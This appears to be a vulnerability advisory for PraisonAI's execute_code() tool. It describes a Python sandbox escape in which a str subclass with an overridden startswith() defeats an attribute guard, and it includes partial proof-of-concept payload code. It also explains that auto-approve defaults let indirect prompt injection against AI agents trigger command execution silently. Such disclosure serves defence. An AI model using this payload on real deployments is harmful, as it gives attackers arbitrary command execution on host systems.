Description

PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code

Summary

execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.

Details

python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)

# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses
        raise AttributeError(...)

# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})
...
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PoC

from praisonaiagents.tools.python_tools import execute_code

payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))...
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Impact

Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.

Mitigation

Aliases

References